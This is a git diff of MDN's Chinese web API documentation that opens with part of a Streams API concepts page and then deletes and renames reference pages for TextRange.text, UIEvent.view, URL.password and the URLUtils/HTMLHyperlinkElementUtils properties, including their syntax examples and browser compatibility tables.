注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

- -
-

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

-
- -

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

- -

Teeing

- -

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

- -

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

- -

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

- -

- -

Writable streams

- -

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

- -

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

- -

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

- -

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

- -

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

- -

- -

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

- -

Pipe chains

- -

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

- - - -

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

- -

- -
-

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

-
- -

Backpressure

- -

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

- -

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

- -

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

- -

Internal queues and queuing strategies

- -

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

- - - -

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

- -

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

- -

The calculation performed is

- -
high water mark - total size of chunks in queue = desired size
- -

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

- -
-

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

-
- -

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/textrange/text/index.html b/files/zh-cn/web/api/textrange/text/index.html deleted file mode 100644 index ae485dd58e..0000000000 --- a/files/zh-cn/web/api/textrange/text/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: TextRange.text -slug: Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

- -

语法

- -
var tString = textRange.text;
-textRange.text = oString;
-
- -

返回值

- -

一个 {{domxref("DOMString")}}。

- -

示例

- -

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

- -
var range = document.selection.createRange();
-range.htmlText = range.text;
-// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
-
- -

开发者笔记

- -

关于 text 属性

- -

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

- -

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/web/api/uievent/view/index.html b/files/zh-cn/web/api/uievent/view/index.html new file mode 100644 index 0000000000..66b72f2637 --- /dev/null +++ b/files/zh-cn/web/api/uievent/view/index.html @@ -0,0 +1,52 @@ +--- +title: 用户界面项目视图 +slug: Web/API/UIEvent/视图 +tags: + - API + - DOM + - UI + - 参考 + - 只读 + - 属性 +translation_of: Web/API/UIEvent/view +--- +

{{APIRef("DOM Events")}}

+ +

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

+ +

语法

+ +
var view = event.view;
+
+ + + +

技术参数

+ + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
+ +

浏览器的兼容性

+ + + +

{{Compat("api.UIEvent.view")}}

diff --git "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" "b/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" deleted file mode 100644 index 66b72f2637..0000000000 --- "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 用户界面项目视图 -slug: Web/API/UIEvent/视图 -tags: - - API - - DOM - - UI - - 参考 - - 只读 - - 属性 -translation_of: Web/API/UIEvent/view ---- -

{{APIRef("DOM Events")}}

- -

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

- -

语法

- -
var view = event.view;
-
- - - -

技术参数

- - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
- -

浏览器的兼容性

- - - -

{{Compat("api.UIEvent.view")}}

diff --git a/files/zh-cn/web/api/url/password/index.html b/files/zh-cn/web/api/url/password/index.html new file mode 100644 index 0000000000..1592676a9d --- /dev/null +++ b/files/zh-cn/web/api/url/password/index.html @@ -0,0 +1,57 @@ +--- +title: URL.密码 +slug: Web/API/URL/密码 +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

+ +

如果在未设置username属性的情况下进行调用,默认失败。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.password;
+object.password = string;
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+var result = url.password; // Returns:"flabada"
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.password")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" "b/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" deleted file mode 100644 index 1592676a9d..0000000000 --- "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: URL.密码 -slug: Web/API/URL/密码 -translation_of: Web/API/URL/password ---- -
{{ApiRef("URL API")}}
- -

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

- -

如果在未设置username属性的情况下进行调用,默认失败。

- -

{{AvailableInWorkers}}

- -

语法

- -
string = object.password;
-object.password = string;
-
- -

- -

A {{domxref("USVString")}}.

- -

Examples

- -
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
-var result = url.password; // Returns:"flabada"
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
- -

浏览器兼容

- - - -

{{Compat("api.URL.password")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/urlutils/hash/index.html b/files/zh-cn/web/api/urlutils/hash/index.html deleted file mode 100644 index 5d8cc21f43..0000000000 --- a/files/zh-cn/web/api/urlutils/hash/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.hash -slug: Web/API/URLUtils/hash -tags: - - HTMLHyperlinkElementUtils.hash -translation_of: Web/API/HTMLHyperlinkElementUtils/hash ---- -

{{ APIRef("URLUtils") }}

- -

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

- -

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

- -

Syntax

- -
string = object.hash;
-object.hash = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.hash; // Returns:'#youhou'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/href/index.html b/files/zh-cn/web/api/urlutils/href/index.html deleted file mode 100644 index cff669766d..0000000000 --- a/files/zh-cn/web/api/urlutils/href/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.href -slug: Web/API/URLUtils/href -tags: - - HTMLHyperlinkElementUtils.href -translation_of: Web/API/HTMLHyperlinkElementUtils/href ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

- -

Syntax

- -
string = object.href;
-object.href = string;
-
- -

Examples

- -
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/index.html b/files/zh-cn/web/api/urlutils/index.html deleted file mode 100644 index e8d6c719d9..0000000000 --- a/files/zh-cn/web/api/urlutils/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: URLUtils -slug: Web/API/URLUtils -translation_of: Web/API/HTMLHyperlinkElementUtils ---- -

{{ApiRef("URL API")}}{{SeeCompatTable}}

- -

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

- -

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

- -

属性

- -
-

注意:This interface doesn't inherit any property.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.href")}}
-
This is a {{domxref("USVString")}} containing the whole URL.
-
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
-
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
-
{{domxref("HTMLHyperlinkElementUtils.host")}}
-
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
-
This is a {{domxref("USVString")}} containing the domain of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.port")}}
-
This is a {{domxref("USVString")}} containing the port number of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
-
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.search")}}
-
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hash")}}
-
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.username")}}
-
This is a {{domxref("USVString")}} containing the username specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.password")}}
-
This is a {{domxref("USVString")}} containing the password specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
-
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
-
- -

方法

- -
-

注意:This interface doesn't inherit any method.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
-
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.HTMLHyperlinkElementUtils")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/urlutils/origin/index.html b/files/zh-cn/web/api/urlutils/origin/index.html deleted file mode 100644 index d0f8d926ec..0000000000 --- a/files/zh-cn/web/api/urlutils/origin/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.origin -slug: Web/API/URLUtils/origin -tags: - - HTMLHyperlinkElementUtils.origin -translation_of: Web/API/HTMLHyperlinkElementUtils/origin ---- -

{{APIRef("URL API")}}

- -

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

- - - -

{{AvailableInWorkers}}

- -

Syntax

- -
string = object.origin;
-
- -

Examples

- -
// On this page, returns the origin
-var result = window.location.origin; // Returns:'https://developer.mozilla.org'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/password/index.html b/files/zh-cn/web/api/urlutils/password/index.html deleted file mode 100644 index 99e9944875..0000000000 --- a/files/zh-cn/web/api/urlutils/password/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.password -slug: Web/API/URLUtils/password -tags: - - HTMLHyperlinkElementUtils.password -translation_of: Web/API/HTMLHyperlinkElementUtils/password ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

- -

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

- -

Syntax

- -
string = object.password;
-object.password = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
-var result = anchor.password; // Returns:'flabada'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/pathname/index.html b/files/zh-cn/web/api/urlutils/pathname/index.html deleted file mode 100644 index 203da5393a..0000000000 --- a/files/zh-cn/web/api/urlutils/pathname/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.pathname -slug: Web/API/URLUtils/pathname -tags: - - HTMLHyperlinkElementUtils.pathname -translation_of: Web/API/HTMLHyperlinkElementUtils/pathname ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

- -

Syntax

- -
string = object.pathname;
-object.pathname = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/search/index.html b/files/zh-cn/web/api/urlutils/search/index.html deleted file mode 100644 index 4c9c8ae554..0000000000 --- a/files/zh-cn/web/api/urlutils/search/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.search -slug: Web/API/URLUtils/search -tags: - - HTMLHyperlinkElementUtils.search -translation_of: Web/API/HTMLHyperlinkElementUtils/search ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

- -

语法

- -
string = object.search;
-object.search = string;
-
- -

示例

- -
// 让一个
-// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
-//  元素在文档里
-
-let anchor = document.getElementById("myAnchor");
-let result = anchor.search;
-// 返回:'?q=123'
-
- -

 

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

- -

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

- -

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

- -

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

- -

相关链接

- - diff --git a/files/zh-cn/web/api/urlutils/tostring/index.html b/files/zh-cn/web/api/urlutils/tostring/index.html deleted file mode 100644 index 172ffda98b..0000000000 --- a/files/zh-cn/web/api/urlutils/tostring/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.toString() -slug: Web/API/URLUtils/toString -tags: - - HTMLHyperlinkElementUtils.toString() - - URL API -translation_of: Web/API/HTMLHyperlinkElementUtils/toString ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

- -

句法

- -
string = object.toString();
- -

范例

- -
/*
-Let's imagine an
-<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
- element is in the document
-*/
-var anchor = document.getElementById("myAnchor");
-var result = anchor.toString();
-// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

